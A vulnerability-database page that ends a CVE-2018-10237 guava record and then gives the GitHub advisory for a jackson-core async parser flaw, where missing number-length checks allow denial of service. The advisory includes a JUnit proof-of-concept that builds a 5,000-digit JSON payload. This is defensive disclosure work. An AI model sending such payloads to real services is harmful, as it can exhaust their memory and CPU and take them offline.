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"name": "[lucene-issues] 20201022 [jira] [Created] (SOLR-14960) Solr-clustering is bringing in CVE-2018-10237 vulnerable guava",
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"name": "[lucene-issues] 20201022 [jira] [Resolved] (SOLR-14960) Solr-clustering is bringing in CVE-2018-10237 vulnerable guava",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r223bc776a077d0795786c38cbc6e7dd808fce1a9161b00ba9c0a5d55@%3Cissues.lucene.apache.org%3E"
},
{
"name": "https://www.oracle.com/security-alerts/cpujan2021.html",
"refsource": "MISC",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba@%3Cissues.maven.apache.org%3E"
},
{
"name": "[flink-issues] 20210212 [jira] [Closed] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r22c8173b804cd4a420c43064ba4e363d0022aa421008b1989f7354d4@%3Cissues.flink.apache.org%3E"
},
{
"name": "[samza-commits] 20210310 [GitHub] [samza] Telesia opened a new pull request #1471: SAMZA-2630: Upgrade dependencies for security fixes",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r352e40ca9874d1beb4ad95403792adca7eb295e6bc3bd7b65fabcc21@%3Ccommits.samza.apache.org%3E"
},
{
"name": "[storm-issues] 20210315 [jira] [Created] (STORM-3754) Upgrade Guava version because of security vulnerability",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r30e7d7b6bfa630dacc41649a0e96dad75165d50474c1241068aa0f94@%3Cissues.storm.apache.org%3E"
},
{
"name": "[pulsar-commits] 20210406 [GitHub] [pulsar] lhotari opened a new pull request #10149: Upgrade jclouds to 2.3.0 to fix security vulnerabilities",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748@%3Ccommits.pulsar.apache.org%3E"
},
{
"name": "[arrow-github] 20210610 [GitHub] [arrow] projjal opened a new pull request #10501: ARROW-13032: Update guava version",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/rd01f5ff0164c468ec7abc96ff7646cea3cce6378da2e4aa29c6bcb95@%3Cgithub.arrow.apache.org%3E"
},
{
"name": "https://www.oracle.com/security-alerts/cpuoct2021.html",
"refsource": "MISC",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"name": "https://security.netapp.com/advisory/ntap-20220629-0008/",
"refsource": "CONFIRM",
"url": "https://security.netapp.com/advisory/ntap-20220629-0008/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2018-10237",
"datePublished": "2018-04-26T21:00:00.000Z",
"dateReserved": "2018-04-20T00:00:00.000Z",
"dateUpdated": "2024-08-05T07:32:01.750Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30
VLAI?
Summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-04-07T16:30:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
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Trend slope:
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(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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